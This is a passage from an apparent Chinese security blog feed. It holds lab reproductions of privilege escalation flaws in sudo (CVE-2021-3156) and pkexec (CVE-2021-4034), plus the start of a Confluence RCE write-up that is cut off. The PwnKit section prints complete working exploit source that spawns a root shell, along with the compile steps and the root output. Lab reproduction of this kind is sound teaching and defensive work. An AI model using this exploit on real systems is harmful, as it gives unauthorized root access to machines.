&lt;p&gt;溢出的数据并非直接注入代码，而是精确覆盖 &lt;code&gt;sudo&lt;/code&gt; 内部用于 NSS（Name Service Switch）库加载的 &lt;code&gt;service_user&lt;/code&gt; 结构体，把其中的库名改写为攻击者预先准备的 &lt;code&gt;X/P0P_SH3LLZ_&lt;/code&gt;。&lt;code&gt;sudo&lt;/code&gt; 随后按这个名字加载共享库，实际加载的是攻击者目录下的恶意 &lt;code&gt;.so&lt;/code&gt; 文件。由于此时 &lt;code&gt;sudo&lt;/code&gt; 进程已具备 root 特权，恶意库的构造函数以 root 身份执行，完成提权。&lt;/p&gt;
&lt;h2&gt;POC 代码简析&lt;/h2&gt;
&lt;h3&gt;hax.c&lt;/h3&gt;
&lt;p&gt;这段代码负责利用 &lt;code&gt;sudo&lt;/code&gt; 的逻辑错误，&lt;code&gt;sudo&lt;/code&gt; 在处理命令行参数时，如果发现反斜杠 &lt;code&gt;\&lt;/code&gt;，它会认为这是一个转义符，并跳过它去读取下一个字符。但如果 &lt;code&gt;\&lt;/code&gt; 后面直接是字符串的结束符 &lt;code&gt;\0&lt;/code&gt;，它会越过 &lt;code&gt;\0&lt;/code&gt; 继续向后读取，导致&lt;strong&gt;缓冲区溢出&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;为了确保攻击的精准性，代码通过 &lt;code&gt;smash_len_a&lt;/code&gt; 和 &lt;code&gt;smash_len_b&lt;/code&gt; 等变量向堆内存填充特定长度的字符，其核心目的是通过堆内存管理，将内存中关键的 &lt;code&gt;service_user&lt;/code&gt; 结构体推送到预定的溢出路径上。&lt;/p&gt;
&lt;p&gt;在溢出发生时，环境变量 &lt;code&gt;s_envp&lt;/code&gt; 中精心构造的大量反斜杠诱导指针向后滑动直至覆盖 &lt;code&gt;service_user&lt;/code&gt; 结构体中的 &lt;code&gt;name&lt;/code&gt; 指针。此时，程序注入的伪装字符串 &lt;code&gt;X/P0P_SH3LLZ_&lt;/code&gt; 会精准改写 &lt;code&gt;sudo&lt;/code&gt; 内部记录的 NSS 库加载地址。这一改动使系统不再加载标准 &lt;code&gt;libnss_files.so.2&lt;/code&gt;，转而加载攻击者指定的恶意路径。&lt;/p&gt;
&lt;h3&gt;lib.c&lt;/h3&gt;
&lt;p&gt;这段代码被编译成 &lt;code&gt;libnss_X/P0P_SH3LLZ_.so.2&lt;/code&gt;，是实际以 root 身份执行的载荷。&lt;/p&gt;
&lt;p&gt;利用 Linux 动态加载器的 &lt;code&gt;__attribute__((constructor))&lt;/code&gt; 特性，库中的 &lt;code&gt;_init&lt;/code&gt; 函数会在被加载进内存时自动执行。由于此时 &lt;code&gt;sudo&lt;/code&gt; 进程已具备 root 特权，载荷得以在高权限状态下运行，通过执行 &lt;code&gt;setuid(0)&lt;/code&gt; 和 &lt;code&gt;setgid(0)&lt;/code&gt; 将进程身份切换为超级用户，并最终通过 &lt;code&gt;execv&lt;/code&gt; 启动一个 root Shell。&lt;/p&gt;
&lt;h3&gt;brute.sh&lt;/h3&gt;
&lt;p&gt;由于不同系统的内存布局（堆的起始地址、环境变量大小）不同，&lt;code&gt;hax.c&lt;/code&gt; 里的那几个填充长度（smash_len）必须非常精确，差一个字节都会导致程序崩溃。&lt;/p&gt;
&lt;p&gt;脚本通过三层嵌套循环，生成了成千上万种参数组合（偏移量）。利用 &lt;code&gt;parallel&lt;/code&gt;，脚本可以同时启动 10 个甚至 20 个 &lt;code&gt;sudo&lt;/code&gt; 进程进行攻击尝试，它不看是否弹出了 Shell，而是监测日志或标准输出中是否出现了 &lt;code&gt;bl1ng bl1ng!&lt;/code&gt;（这是 &lt;code&gt;lib.c&lt;/code&gt; 打印的）。只要看到这句话，就说明这组参数成功绕过了内存对齐，劫持了加载流程。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 sudo 至 1.9.5p2 或发行版仓库的安全更新版本（如 Ubuntu 20.04 的 &lt;code&gt;sudo 1.8.31-1ubuntu1.2&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;该漏洞无需交互、默认配置即可利用，无法通过配置规避，应尽快升级。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;sudo 官方公告：https://www.sudo.ws/security/advisories/unescape_overflow/&lt;/li&gt;
&lt;li&gt;blasty POC（本文所用利用代码）：https://github.com/blasty/CVE-2021-3156&lt;/li&gt;
&lt;li&gt;Ubuntu 安全页：https://ubuntu.com/security/CVE-2021-3156&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2021-3156&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>PwnKit 提权漏洞（CVE-2021-4034）复现</title><link>https://blog.mal-suen.cn/posts/2023/05/131/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2023/05/131/</guid><description>polkit 的 pkexec 是 SUID root 程序，处理参数数量为 0 的调用时越界读写环境变量，把解析结果写回越界位置，攻击者借此注入 GCONV_PATH 环境变量，诱导 glibc 加载当前目录下的恶意 gconv 模块，普通用户直接获得 root 权限。CVSS 7.8，2009 年 pkexec 首次发布以来的所有版本均受影响。本文基于 Vulhub 靶场复现并拆解利用链。</description><pubDate>Thu, 11 May 2023 08:06:08 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2021-4034（PwnKit）是 polkit 的 pkexec 程序的本地提权漏洞，CVSS 7.8，2022 年 1 月 25 日由 Qualys 披露。pkexec 是一个 SUID root 程序，供普通用户按策略以特权身份执行命令。它处理参数数量为 0 的调用时存在越界读写：把环境变量误当作程序路径解析，再把解析结果写回越界位置，攻击者借此向环境变量区写入 &lt;code&gt;GCONV_PATH&lt;/code&gt;，诱导 glibc 加载当前目录下的恶意 gconv 模块；模块在 SUID root 进程内执行 &lt;code&gt;setuid(0)&lt;/code&gt; 并启动 root Shell。该缺陷自 2009 年 pkexec 首次发布起存在了 12 年，各发行版在披露当日开始陆续发布修复。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 polkit/CVE-2021-4034 靶场（Qemu 虚拟机内的 Ubuntu 20.04），从 SSH 登录普通用户开始，走完 SUID 程序枚举、版本确认、利用代码检索、编译执行的完整流程，并拆解从越界读写到模块加载的利用链。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2021-4034&lt;/td&gt;
&lt;td&gt;7.8&lt;/td&gt;
&lt;td&gt;2009 年首次发布以来的所有 pkexec 版本；各主流发行版 2022 年 1 月 25 日起陆续修复&lt;/td&gt;
&lt;td&gt;本地权限提升（LPE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境，因为容器中运行了 Qemu 虚拟机，所以初始化需要消耗更长时间。可以使用 &lt;code&gt;docker compose logs&lt;/code&gt; 查看运行时的日志。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地

└─$ cd vulhub/polkit/CVE-2021-4034	
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
3c5c6abb13d9   vulhub/polkit:0.105   &quot;/bin/sh -c &apos;qemu-sy…&quot;   24 minutes ago   Up 24 minutes   0.0.0.0:2222-&amp;gt;2222/tcp, :::2222-&amp;gt;2222/tcp   cve-2021-4034-cmd-1

└─$ docker-compose logs
# 日志出现以下内容说明初始化成功
cmd-1  | [  OK  ] Finished Execute cloud user/final scripts.
cmd-1  | [  OK  ] Reached target Cloud-init target.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 52:8a:4b:9e:e1:9e:37:71:d0:d4:04:ea:78:85:ea:ef (RSA)
|   256 a7:40:57:0f:9b:b8:4a:f0:4d:e5:87:8f:0d:75:31:69 (ECDSA)
|_  256 ac:8e:ea:83:00:ef:b8:a2:b4:fb:b2:d4:3b:14:82:15 (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;OpenSSH 8.2p1 Ubuntu 4&lt;/code&gt;：这个版本对应的上游操作系统是 &lt;strong&gt;Ubuntu 20.04（Focal Fossa）&lt;/strong&gt;。
&lt;code&gt;2222/tcp&lt;/code&gt;：非标准 SSH 端口。&lt;/p&gt;
&lt;h3&gt;登录目标并枚举 SUID 程序&lt;/h3&gt;
&lt;p&gt;在漏洞复现过程中我们已知用户 &lt;code&gt;ubuntu&lt;/code&gt; 的密码为 &lt;code&gt;vulhub&lt;/code&gt;，先使用这个已知的账户登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ ssh ubuntu@192.168.31.148 -p 2222 
ubuntu@192.168.31.148&apos;s password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)

To run a command as administrator (user &quot;root&quot;), use &quot;sudo &amp;lt;command&amp;gt;&quot;.
See &quot;man sudo_root&quot; for details.

ubuntu@ubuntu:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录成功后首先要寻找那些由 root 拥有且具有 SUID 权限的可执行文件（运行这些文件时，进程会以 root 身份运行）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~$ find / -perm -u=s -type f 2&amp;gt;/dev/null
/snap/core18/1705/bin/mount
/snap/core18/1705/bin/ping
/snap/core18/1705/bin/su
/snap/core18/1705/bin/umount
/snap/core18/1705/usr/bin/chfn
/snap/core18/1705/usr/bin/chsh
/snap/core18/1705/usr/bin/gpasswd
/snap/core18/1705/usr/bin/newgrp
/snap/core18/1705/usr/bin/passwd
/snap/core18/1705/usr/bin/sudo
/snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1705/usr/lib/openssh/ssh-keysign
/snap/snapd/7264/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这一堆输出中，&lt;code&gt;/usr/bin/pkexec&lt;/code&gt; 是本次的目标。列表中其余的 SUID 程序（如 &lt;code&gt;sudo&lt;/code&gt;、&lt;code&gt;passwd&lt;/code&gt;、&lt;code&gt;mount&lt;/code&gt;）经过数十年的安全审计，存在公开可利用漏洞的情况相对少见，但并非没有：同一靶机上的 &lt;code&gt;sudo&lt;/code&gt; 就存在 CVE-2021-3156，复现见&lt;a href=&quot;/posts/2023/05/145/&quot;&gt;Baron Samedit 提权漏洞（CVE-2021-3156）复现&lt;/a&gt;。&lt;/p&gt;
&lt;h3&gt;确认版本并检索利用代码&lt;/h3&gt;
&lt;p&gt;当看到 &lt;code&gt;/usr/bin/pkexec&lt;/code&gt; 和 &lt;code&gt;/usr/lib/policykit-1/polkit-agent-helper-1&lt;/code&gt; 时，可以直接联想到 &lt;strong&gt;PwnKit&lt;/strong&gt;。首先查看 &lt;code&gt;pkexec&lt;/code&gt; 版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~$ pkexec --version
pkexec version 0.105
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个版本存在 CVE-2021-4034 漏洞，使用 &lt;code&gt;searchsploit&lt;/code&gt; 搜索漏洞信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ searchsploit --cve 2021-4034
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
PolicyKit-1 0.105-31 - Privilege Escalatio | linux/local/50689.txt
------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;searchsploit -m 50689.txt&lt;/code&gt; 将漏洞信息下载到当前目录，或直接在 &lt;code&gt;/usr/share/exploitdb/exploits/linux/local/50689.txt&lt;/code&gt; 查看，其中包含完整的利用代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

# Description: The exploit consists of three files `Makefile`, `evil-so.c` &amp;amp; `exploit.c`

##### Makefile #####

all:
        gcc -shared -o evil.so -fPIC evil-so.c
        gcc exploit.c -o exploit

clean:
        rm -r ./GCONV_PATH=. &amp;amp;&amp;amp; rm -r ./evildir &amp;amp;&amp;amp; rm exploit &amp;amp;&amp;amp; rm evil.so

#################

##### evil-so.c #####

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve(&quot;/bin/sh&quot;, NULL, NULL);
}

#################

##### exploit.c #####

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#define BIN &quot;/usr/bin/pkexec&quot;
#define DIR &quot;evildir&quot;
#define EVILSO &quot;evil&quot;

int main()
{
    char *envp[] = {
        DIR,
        &quot;PATH=GCONV_PATH=.&quot;,
        &quot;SHELL=ryaagard&quot;,
        &quot;CHARSET=ryaagard&quot;,
        NULL
    };
    char *argv[] = { NULL };

    system(&quot;mkdir GCONV_PATH=.&quot;);
    system(&quot;touch GCONV_PATH=./&quot; DIR &quot; &amp;amp;&amp;amp; chmod 777 GCONV_PATH=./&quot; DIR);
    system(&quot;mkdir &quot; DIR);
    system(&quot;echo &apos;module\tINTERNAL\t\t\tryaagard//\t\t\t&quot; EVILSO &quot;\t\t\t2&apos; &amp;gt; &quot; DIR &quot;/gconv-modules&quot;);
    system(&quot;cp &quot; EVILSO &quot;.so &quot; DIR);

    execve(BIN, argv, envp);

    return 0;
}

#################   
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;提权&lt;/h3&gt;
&lt;p&gt;按照文本给出的方式编译并执行，成功提权：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~$ gcc -shared -o evil.so -fPIC evil-so.c
ubuntu@ubuntu:~$ gcc exploit.c -o exploit
ubuntu@ubuntu:~$ ./exploit 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同一靶机上还有另外两个可用的提权漏洞：&lt;code&gt;sudo&lt;/code&gt; 的堆溢出（CVE-2021-3156）与内核 OverlayFS 的文件能力校验缺陷（CVE-2021-3493），完整复现分别见&lt;a href=&quot;/posts/2023/05/145/&quot;&gt;Baron Samedit 提权漏洞（CVE-2021-3156）复现&lt;/a&gt;和&lt;a href=&quot;/posts/2023/05/149/&quot;&gt;OverlayFS 提权漏洞（CVE-2021-3493）复现&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;p&gt;CVE-2021-4034（PwnKit）的核心原理在于 &lt;strong&gt;&lt;code&gt;pkexec&lt;/code&gt; 程序对命令行参数处理的一个越界读取（Out-of-bounds Read）漏洞&lt;/strong&gt;，以及由此引发的环境变量写入。&lt;/p&gt;
&lt;h3&gt;参数处理越界&lt;/h3&gt;
&lt;p&gt;在 Linux 中，一个程序的 &lt;code&gt;main&lt;/code&gt; 函数接收两个重要的参数：&lt;code&gt;argc&lt;/code&gt;（参数数量）和 &lt;code&gt;argv&lt;/code&gt;（指向参数字符串的指针数组）。按照规范：&lt;code&gt;argv[0]&lt;/code&gt; 通常是程序自身的路径，&lt;code&gt;argv[argc]&lt;/code&gt; 必须是一个 &lt;code&gt;NULL&lt;/code&gt; 指针。&lt;/p&gt;
&lt;p&gt;在调用 &lt;code&gt;pkexec&lt;/code&gt; 时，如果攻击者强制传递一个&lt;strong&gt;完全为空&lt;/strong&gt;的数组（即 &lt;code&gt;argc = 0&lt;/code&gt;），那么 &lt;code&gt;argv[0]&lt;/code&gt; 实际上就是 &lt;code&gt;NULL&lt;/code&gt;。然而，&lt;code&gt;pkexec&lt;/code&gt; 的代码逻辑假设 &lt;code&gt;argc&lt;/code&gt; 至少为 1。它会尝试读取 &lt;code&gt;argv[1]&lt;/code&gt; 来获取要执行的命令。由于 &lt;code&gt;argv[1]&lt;/code&gt; 已经超出了 &lt;code&gt;argv&lt;/code&gt; 数组的范围，根据内存布局，它会&lt;strong&gt;越界读取&lt;/strong&gt;到紧随其后的 &lt;code&gt;envp&lt;/code&gt;（环境变量指针数组）中的第一个元素。&lt;/p&gt;
&lt;h3&gt;将环境变量误认为路径&lt;/h3&gt;
&lt;p&gt;当 &lt;code&gt;pkexec&lt;/code&gt; 越界读取了第一个环境变量后，它会将这个字符串视作一个程序路径。接着，&lt;code&gt;pkexec&lt;/code&gt; 会利用环境变量中的 &lt;code&gt;PATH&lt;/code&gt; 变量去寻找这个路径的绝对位置。如果寻找到匹配项，它会将寻找到的绝对路径写回 &lt;code&gt;argv[1]&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;利用 GCONV_PATH 注入恶意库&lt;/h3&gt;
&lt;p&gt;攻击者在当前目录下创建一个名为 &lt;code&gt;GCONV_PATH=.&lt;/code&gt; 的文件夹，又在环境变量中设置一个名为 &lt;code&gt;GCONV_PATH=.&lt;/code&gt; 的条目。通过上述的越界写入逻辑，&lt;code&gt;pkexec&lt;/code&gt; 在执行过程中会调用 &lt;code&gt;gconv&lt;/code&gt; 库进行字符集转换。如果环境变量中存在 &lt;code&gt;GCONV_PATH&lt;/code&gt;，&lt;code&gt;pkexec&lt;/code&gt; 会信任这个路径并加载其中的 &lt;code&gt;gconv-modules&lt;/code&gt; 配置文件。&lt;/p&gt;
&lt;p&gt;由于 &lt;code&gt;pkexec&lt;/code&gt; 拥有 &lt;strong&gt;SUID Root&lt;/strong&gt; 权限，它会以 Root 身份加载攻击者在配置文件中指定的恶意 &lt;code&gt;.so&lt;/code&gt; 共享库。这个共享库在加载时（利用 &lt;code&gt;__attribute__((constructor))&lt;/code&gt;）执行 &lt;code&gt;setuid(0)&lt;/code&gt; 并启动 &lt;code&gt;/bin/sh&lt;/code&gt;，从而完成提权。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 polkit 至各发行版 2022 年 1 月 25 日之后的安全更新版本（如 Ubuntu 20.04 的 &lt;code&gt;policykit-1 0.105-31ubuntu0.2&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;该漏洞无需交互、默认配置即可利用，且存在了 12 年，长期未更新的系统与容器镜像都可能受影响，升级后应确认 &lt;code&gt;pkexec&lt;/code&gt; 已更新。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Qualys 披露原文：https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt&lt;/li&gt;
&lt;li&gt;Ubuntu 安全页：https://ubuntu.com/security/CVE-2021-4034&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2021-4034&lt;/li&gt;
&lt;li&gt;ryaagard POC（本文所用利用代码来源）：https://github.com/ryaagard/CVE-2021-4034&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/polkit/CVE-2021-4034&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Confluence 远程代码执行漏洞（CVE-2021-26084）复现：OGNL 表达式注入全流程拆解</title><link>https://blog.mal-suen.cn/posts/2023/03/121/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2023/03/121/</guid><description>Confluence 的多个 .action 页面将用户输入的 queryString 参数直接嵌入 WebWork 标签属性渲染，OGNL 引擎对回显内容进行二次解析，攻击者通过单引号拼接绕过纯文本处理，注入 OGNL 表达式调用 Java ScriptEngine 执行任意命令，匿名用户即可触发。CVSS 9.8，影响 6.13.23 之前的全部版本及 7.4.11、7.11.6、7.12.5 之前的各分支。本文基于 Vulhub 靶场复现并逐层拆解 Payload。</description><pubDate>Tue, 21 Mar 2023 06:35:12 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2021-26084 是 Atlassian Confluence Server / Data Center 的未授权远程代码执行漏洞，CVSS 9.8。Confluence 基于 WebWork 框架，多个 &lt;code&gt;.action&lt;/code&gt; 页面在处理请求时，将用户输入的 &lt;code&gt;queryString&lt;/code&gt; 参数直接嵌入 WebWork 标签的属性中进行渲染。当页面回显该参数时，OGNL 引擎会对内容进行二次解析：攻击者通过单引号（&lt;code&gt;\u0027&lt;/code&gt;）与加号拼接，把纯文本变成可执行表达式，注入的 OGNL 代码调用 Java 内置的 ScriptEngineManager 获取 JavaScript 引擎并执行任意命令。匿名用户（未登录）即可访问受影响的接口，无需任何身份验证。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 confluence/CVE-2021-26084 靶场（Confluence 7.4.10），覆盖环境搭建（含 License 与数据库配置）、漏洞检测（数学表达式验证）、命令执行、交互式 WebShell 四个阶段，附录逐层拆解两条 Payload 的编码绕过与执行逻辑。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2021-26084&lt;/td&gt;
&lt;td&gt;9.8&lt;/td&gt;
&lt;td&gt;6.13.23 之前的全部版本；6.14.0-7.4.10、7.5.0-7.11.5、7.12.0-7.12.4&lt;/td&gt;
&lt;td&gt;远程代码执行（RCE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境。Confluence 比较消耗资源，建议将虚拟机配置适当调高：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地
└─$ cd vulhub/confluence/CVE-2021-26084

┌──(root㉿kali)-[~/vulhub/confluence/CVE-2021-26084]
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
1b486095f893   vulhub/confluence:7.4.10   &quot;/usr/bin/tini -- /e…&quot;   14 seconds ago   Up 13 seconds   0.0.0.0:8090-&amp;gt;8090/tcp, :::8090-&amp;gt;8090/tcp   8091/tcp   cve-2021-26084-web-1
c2fa3aed9f50   postgres:12.8-alpine       &quot;docker-entrypoint.s…&quot;   14 seconds ago   Up 13 seconds   5432/tcp                                              cve-2021-26084-db-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Confluence 需要完成初始配置才能复现漏洞。访问 &lt;code&gt;http://192.168.31.148:8090&lt;/code&gt; 开始配置，选择 Confluence Questions：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Confluence-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-26084%EF%BC%89%E5%A4%8D%E7%8E%B0%EF%BC%9AOGNL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E5%85%A8%E6%B5%81%E7%A8%8B%E6%8B%86%E8%A7%A3.assets/CVE-2021-26084-web%E9%A1%B5%E9%9D%A2.png&quot; alt=&quot;Confluence 安装向导，选择 Questions&quot; /&gt;&lt;/p&gt;
&lt;p&gt;需要 License，点击 &lt;code&gt;Get an evaluation license&lt;/code&gt;，注册并申请一个评估 License 即可，申请时选择 &lt;code&gt;not install yet&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Confluence-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-26084%EF%BC%89%E5%A4%8D%E7%8E%B0%EF%BC%9AOGNL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E5%85%A8%E6%B5%81%E7%A8%8B%E6%8B%86%E8%A7%A3.assets/CVE-2021-26084-license.png&quot; alt=&quot;申请评估 License&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Choose your deployment type&lt;/code&gt; 选择 &lt;code&gt;Standalone&lt;/code&gt;，进入数据库配置页面：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Confluence-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-26084%EF%BC%89%E5%A4%8D%E7%8E%B0%EF%BC%9AOGNL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E5%85%A8%E6%B5%81%E7%A8%8B%E6%8B%86%E8%A7%A3.assets/CVE-2021-26084-%E9%85%8D%E7%BD%AE%E7%95%8C%E9%9D%A2.png&quot; alt=&quot;数据库配置界面&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之前拉起容器时还有一个 PostgreSQL 容器，配置数据库之前需要修改 postgres 的密码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(root㿿kali)-[~/vulhub/confluence/CVE-2021-26084]
└─$ docker exec -it cve-2021-26084-db-1 bash  
bash-5.1# su - postgres	# PostgreSQL 禁止以 root 身份操作，切换到专用用户
c9955115ceed:~$ psql
psql (12.8)
Type &quot;help&quot; for help.

postgres=# ALTER USER postgres WITH PASSWORD &apos;psql@123&apos;;
ALTER ROLE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改之后开始配置数据库连接。在 Docker Compose 中，容器间通信使用&lt;strong&gt;服务名&lt;/strong&gt;（如 &lt;code&gt;db&lt;/code&gt;），而不是物理机 IP：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Confluence-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-26084%EF%BC%89%E5%A4%8D%E7%8E%B0%EF%BC%9AOGNL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E5%85%A8%E6%B5%81%E7%A8%8B%E6%8B%86%E8%A7%A3.assets/CVE-2021-26084-%E8%BF%9E%E6%8E%A5%E6%95%B0%E6%8D%AE%E5%BA%93.png&quot; alt=&quot;配置数据库连接，主机名填 db&quot; /&gt;&lt;/p&gt;
&lt;p&gt;配置好后选择 &lt;code&gt;Example Site&lt;/code&gt;，设置管理员账号信息即可完成配置：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Confluence-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-26084%EF%BC%89%E5%A4%8D%E7%8E%B0%EF%BC%9AOGNL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E5%85%A8%E6%B5%81%E7%A8%8B%E6%8B%86%E8%A7%A3.assets/CVE-2021-26084-%E6%AD%A3%E5%BC%8F%E9%A1%B5%E9%9D%A2.png&quot; alt=&quot;Confluence 配置完成后的正式页面&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
